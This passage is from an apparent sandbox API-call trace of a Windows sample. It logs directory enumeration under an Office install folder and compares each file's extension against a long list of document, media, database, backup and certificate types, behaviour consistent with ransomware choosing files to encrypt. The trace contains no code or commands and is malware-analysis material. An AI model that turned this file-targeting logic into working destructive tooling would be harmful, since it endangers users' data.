-1 [0075.842] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".java", lpString2="W.DLL") returned -1 [0075.842] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".jpeg", lpString2="W.DLL") returned -1 [0075.843] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0075.843] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".json", lpString2="W.DLL") returned -1 [0075.843] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".lasso", lpString2="EW.DLL") returned -1 [0075.843] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0075.843] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0075.844] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mhtml", lpString2="EW.DLL") returned -1 [0075.844] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mkidx", lpString2="EW.DLL") returned -1 [0075.844] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0075.844] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".mpeg", lpString2="W.DLL") returned -1 [0075.845] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0075.845] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".onepkg", lpString2="IEW.DLL") returned -1 [0075.846] lstrcmpiW (lpString1=".onetoc2", lpString2="VIEW.DLL") returned -1 [0075.846] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0075.846] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".php3", lpString2="W.DLL") returned -1 [0075.847] lstrcmpiW (lpString1=".php4", lpString2="W.DLL") returned -1 [0075.847] lstrcmpiW (lpString1=".php5", lpString2="W.DLL") returned -1 [0075.847] lstrcmpiW (lpString1=".phtml", lpString2="EW.DLL") returned -1 [0075.847] lstrcmpiW (lpString1=".pict", lpString2="W.DLL") returned -1 [0075.847] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0075.847] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0075.847] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".potm", lpString2="W.DLL") returned -1 [0075.847] lstrcmpiW (lpString1=".potx", lpString2="W.DLL") returned -1 [0075.847] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0075.847] lstrcmpiW (lpString1=".ppam", lpString2="W.DLL") returned -1 [0075.848] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".ppsm", lpString2="W.DLL") returned -1 [0075.848] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".pptm", lpString2="W.DLL") returned -1 [0075.848] lstrcmpiW (lpString1=".pptx", lpString2="W.DLL") returned -1 [0075.848] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0075.848] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1 [0075.848] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1 [0075.848] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".raf", lpString2=".DLL") returned 1 [0075.848] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0075.849] lstrcmpiW (lpString1=".raw", lpString2=".DLL") returned 1 [0075.849] lstrcmpiW (lpString1=".rdf", lpString2=".DLL") returned 1 [0075.849] FindNextFileW (in: hFindFile=0x3ed1360, lpFindFileData=0x352f58c | out: lpFindFileData=0x352f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0075.850] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1520 [0076.096] FindNextFileW (in: hFindFile=0x3ed1520, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.096] FindNextFileW (in: hFindFile=0x3ed1520, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0076.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1460 [0076.111] FindNextFileW (in: hFindFile=0x3ed1460, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x3ed1460, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1 [0076.112] FindClose (in: hFindFile=0x3ed1460 | out: hFindFile=0x3ed1460) returned 1 [0076.112] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x3ed1520, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0076.113] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x3f34f98, Size=0x40000) returned 0x3f34f98 [0076.113] FindNextFileW (in: hFindFile=0x3ed1520, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c398, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0076.113] lstrlenW (lpString="OLTASK.FAE") returned 10 [0076.113] lstrlenW (lpString=".1cd") returned 4 [0076.113] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0076.113] lstrlenW (lpString=".3ds") returned 4 [0076.113] lstrcmpiW (lpString1=".3ds", lpString2=".FAE") returned -1 [0076.113] lstrlenW (lpString=".3fr") returned 4 [0076.113] lstrcmpiW (lpString1=".3fr", lpString2=".FAE") returned -1 [0076.113] lstrlenW (lpString=".3g2") returned 4 [0076.113] lstrcmpiW (lpString1=".3g2", lpString2=".FAE") returned -1 [0076.113] lstrlenW (lpString=".3gp") returned 4 [0076.113] lstrcmpiW (lpString1=".3gp", lpString2=".FAE") returned -1 [0076.113] lstrlenW (lpString=".7z") returned 3 [0076.113] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0076.113] lstrlenW (lpString=".accda") returned 6 [0076.113] lstrcmpiW (lpString1=".accda", lpString2="SK.FAE") returned -1 [0076.113] lstrlenW (lpString=".accdb") returned 6 [0076.113] lstrcmpiW (lpString1=".accdb", lpString2="SK.FAE") returned -1 [0076.113] lstrlenW (lpString=".accdc") returned 6 [0076.113] lstrcmpiW (lpString1=".accdc", lpString2="SK.FAE") returned -1 [0076.113] lstrlenW (lpString=".accde") returned 6 [0076.113] lstrcmpiW (lpString1=".accde", lpString2="SK.FAE") returned -1 [0076.113] lstrlenW (lpString=".accdt") returned 6 [0076.114] lstrcmpiW (lpString1=".accdt", lpString2="SK.FAE") returned -1 [0076.114] lstrlenW (lpString=".accdw") returned 6 [0076.114] lstrcmpiW (lpString1=".accdw", lpString2="SK.FAE") returned -1 [0076.114] lstrlenW (lpString=".adb") returned 4 [0076.114] lstrcmpiW (lpString1=".adb", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".adp") returned 4 [0076.114] lstrcmpiW (lpString1=".adp", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".ai") returned 3 [0076.114] lstrcmpiW (lpString1=".ai", lpString2="FAE") returned -1 [0076.114] lstrlenW (lpString=".ai3") returned 4 [0076.114] lstrcmpiW (lpString1=".ai3", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".ai4") returned 4 [0076.114] lstrcmpiW (lpString1=".ai4", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".ai5") returned 4 [0076.114] lstrcmpiW (lpString1=".ai5", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".ai6") returned 4 [0076.114] lstrcmpiW (lpString1=".ai6", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".ai7") returned 4 [0076.114] lstrcmpiW (lpString1=".ai7", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".ai8") returned 4 [0076.114] lstrcmpiW (lpString1=".ai8", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".anim") returned 5 [0076.114] lstrcmpiW (lpString1=".anim", lpString2="K.FAE") returned -1 [0076.114] lstrlenW (lpString=".arw") returned 4 [0076.114] lstrcmpiW (lpString1=".arw", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".as") returned 3 [0076.114] lstrcmpiW (lpString1=".as", lpString2="FAE") returned -1 [0076.114] lstrlenW (lpString=".asa") returned 4 [0076.114] lstrcmpiW (lpString1=".asa", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".asc") returned 4 [0076.114] lstrcmpiW (lpString1=".asc", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".ascx") returned 5 [0076.114] lstrcmpiW (lpString1=".ascx", lpString2="K.FAE") returned -1 [0076.114] lstrlenW (lpString=".asm") returned 4 [0076.114] lstrcmpiW (lpString1=".asm", lpString2=".FAE") returned -1 [0076.114] lstrlenW (lpString=".asmx") returned 5 [0076.114] lstrcmpiW (lpString1=".asmx", lpString2="K.FAE") returned -1 [0076.114] lstrlenW (lpString=".asp") returned 4 [0076.115] lstrcmpiW (lpString1=".asp", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".aspx") returned 5 [0076.115] lstrcmpiW (lpString1=".aspx", lpString2="K.FAE") returned -1 [0076.115] lstrlenW (lpString=".asr") returned 4 [0076.115] lstrcmpiW (lpString1=".asr", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".asx") returned 4 [0076.115] lstrcmpiW (lpString1=".asx", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".avi") returned 4 [0076.115] lstrcmpiW (lpString1=".avi", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".avs") returned 4 [0076.115] lstrcmpiW (lpString1=".avs", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".backup") returned 7 [0076.115] lstrcmpiW (lpString1=".backup", lpString2="ASK.FAE") returned -1 [0076.115] lstrlenW (lpString=".bak") returned 4 [0076.115] lstrcmpiW (lpString1=".bak", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".bay") returned 4 [0076.115] lstrcmpiW (lpString1=".bay", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".bd") returned 3 [0076.115] lstrcmpiW (lpString1=".bd", lpString2="FAE") returned -1 [0076.115] lstrlenW (lpString=".bin") returned 4 [0076.115] lstrcmpiW (lpString1=".bin", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".bmp") returned 4 [0076.115] lstrcmpiW (lpString1=".bmp", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".bz2") returned 4 [0076.115] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".c") returned 2 [0076.115] lstrcmpiW (lpString1=".c", lpString2="AE") returned -1 [0076.115] lstrlenW (lpString=".cdr") returned 4 [0076.115] lstrcmpiW (lpString1=".cdr", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".cer") returned 4 [0076.115] lstrcmpiW (lpString1=".cer", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".cf") returned 3 [0076.115] lstrcmpiW (lpString1=".cf", lpString2="FAE") returned -1 [0076.115] lstrlenW (lpString=".cfc") returned 4 [0076.115] lstrcmpiW (lpString1=".cfc", lpString2=".FAE") returned -1 [0076.115] lstrlenW (lpString=".cfm") returned 4 [0076.115] lstrcmpiW (lpString1=".cfm", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".cfml") returned 5 [0076.116] lstrcmpiW (lpString1=".cfml", lpString2="K.FAE") returned -1 [0076.116] lstrlenW (lpString=".cfu") returned 4 [0076.116] lstrcmpiW (lpString1=".cfu", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".chm") returned 4 [0076.116] lstrcmpiW (lpString1=".chm", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".cin") returned 4 [0076.116] lstrcmpiW (lpString1=".cin", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".class") returned 6 [0076.116] lstrcmpiW (lpString1=".class", lpString2="SK.FAE") returned -1 [0076.116] lstrlenW (lpString=".clx") returned 4 [0076.116] lstrcmpiW (lpString1=".clx", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".config") returned 7 [0076.116] lstrcmpiW (lpString1=".config", lpString2="ASK.FAE") returned -1 [0076.116] lstrlenW (lpString=".cpp") returned 4 [0076.116] lstrcmpiW (lpString1=".cpp", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".cr2") returned 4 [0076.116] lstrcmpiW (lpString1=".cr2", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".crt") returned 4 [0076.116] lstrcmpiW (lpString1=".crt", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".crw") returned 4 [0076.116] lstrcmpiW (lpString1=".crw", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".cs") returned 3 [0076.116] lstrcmpiW (lpString1=".cs", lpString2="FAE") returned -1 [0076.116] lstrlenW (lpString=".css") returned 4 [0076.116] lstrcmpiW (lpString1=".css", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".csv") returned 4 [0076.116] lstrcmpiW (lpString1=".csv", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".cub") returned 4 [0076.116] lstrcmpiW (lpString1=".cub", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".dae") returned 4 [0076.116] lstrcmpiW (lpString1=".dae", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".dat") returned 4 [0076.116] lstrcmpiW (lpString1=".dat", lpString2=".FAE") returned -1 [0076.116] lstrlenW (lpString=".db") returned 3 [0076.116] lstrcmpiW (lpString1=".db", lpString2="FAE") returned -1 [0076.116] lstrlenW (lpString=".dbf") returned 4 [0076.117] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".dbx") returned 4 [0076.117] lstrcmpiW (lpString1=".dbx", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".dc3") returned 4 [0076.117] lstrcmpiW (lpString1=".dc3", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".dcm") returned 4 [0076.117] lstrcmpiW (lpString1=".dcm", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".dcr") returned 4 [0076.117] lstrcmpiW (lpString1=".dcr", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".der") returned 4 [0076.117] lstrcmpiW (lpString1=".der", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".dib") returned 4 [0076.117] lstrcmpiW (lpString1=".dib", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".dic") returned 4 [0076.117] lstrcmpiW (lpString1=".dic", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".dif") returned 4 [0076.117] lstrcmpiW (lpString1=".dif", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".divx") returned 5 [0076.117] lstrcmpiW (lpString1=".divx", lpString2="K.FAE") returned -1 [0076.117] lstrlenW (lpString=".djvu") returned 5 [0076.117] lstrcmpiW (lpString1=".djvu", lpString2="K.FAE") returned -1 [0076.117] lstrlenW (lpString=".dng") returned 4 [0076.117] lstrcmpiW (lpString1=".dng", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".doc") returned 4 [0076.117] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".docm") returned 5 [0076.117] lstrcmpiW (lpString1=".docm", lpString2="K.FAE") returned -1 [0076.117] lstrlenW (lpString=".docx") returned 5 [0076.117] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1 [0076.117] lstrlenW (lpString=".dot") returned 4 [0076.117] lstrcmpiW (lpString1=".dot", lpString2=".FAE") returned -1 [0076.117] lstrlenW (lpString=".dotm") returned 5 [0076.117] lstrcmpiW (lpString1=".dotm", lpString2="K.FAE") returned -1 [0076.117] lstrlenW (lpString=".dotx") returned 5 [0076.117] lstrcmpiW (lpString1=".dotx", lpString2="K.FAE") returned -1 [0076.117] lstrlenW (lpString=".dpx") returned 4 [0076.118] lstrcmpiW (lpString1=".dpx", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".dqy") returned 4 [0076.118] lstrcmpiW (lpString1=".dqy", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".dsn") returned 4 [0076.118] lstrcmpiW (lpString1=".dsn", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".dt") returned 3 [0076.118] lstrcmpiW (lpString1=".dt", lpString2="FAE") returned -1 [0076.118] lstrlenW (lpString=".dtd") returned 4 [0076.118] lstrcmpiW (lpString1=".dtd", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".dwg") returned 4 [0076.118] lstrcmpiW (lpString1=".dwg", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".dwt") returned 4 [0076.118] lstrcmpiW (lpString1=".dwt", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".dx") returned 3 [0076.118] lstrcmpiW (lpString1=".dx", lpString2="FAE") returned -1 [0076.118] lstrlenW (lpString=".dxf") returned 4 [0076.118] lstrcmpiW (lpString1=".dxf", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".edml") returned 5 [0076.118] lstrcmpiW (lpString1=".edml", lpString2="K.FAE") returned -1 [0076.118] lstrlenW (lpString=".efd") returned 4 [0076.118] lstrcmpiW (lpString1=".efd", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".elf") returned 4 [0076.118] lstrcmpiW (lpString1=".elf", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".emf") returned 4 [0076.118] lstrcmpiW (lpString1=".emf", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".emz") returned 4 [0076.118] lstrcmpiW (lpString1=".emz", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".epf") returned 4 [0076.118] lstrcmpiW (lpString1=".epf", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".eps") returned 4 [0076.118] lstrcmpiW (lpString1=".eps", lpString2=".FAE") returned -1 [0076.118] lstrlenW (lpString=".epsf") returned 5 [0076.118] lstrcmpiW (lpString1=".epsf", lpString2="K.FAE") returned -1 [0076.118] lstrlenW (lpString=".epsp") returned 5 [0076.119] lstrcmpiW (lpString1=".epsp", lpString2="K.FAE") returned -1 [0076.119] lstrlenW (lpString=".erf") returned 4 [0076.119] lstrcmpiW (lpString1=".erf", lpString2=".FAE") returned -1 [0076.119] lstrlenW (lpString=".exr") returned 4 [0076.119] lstrcmpiW (lpString1=".exr", lpString2=".FAE") returned -1 [0076.119] lstrlenW (lpString=".f4v") returned 4 [0076.119] lstrcmpiW (lpString1=".f4v", lpString2=".FAE") returned -1 [0076.119] lstrlenW (lpString=".fido") returned 5 [0076.119] lstrcmpiW (lpString1=".fido", lpString2="K.FAE") returned -1 [0076.119] lstrlenW (lpString=".flm") returned 4 [0076.119] lstrcmpiW (lpString1=".flm", lpString2=".FAE") returned 1 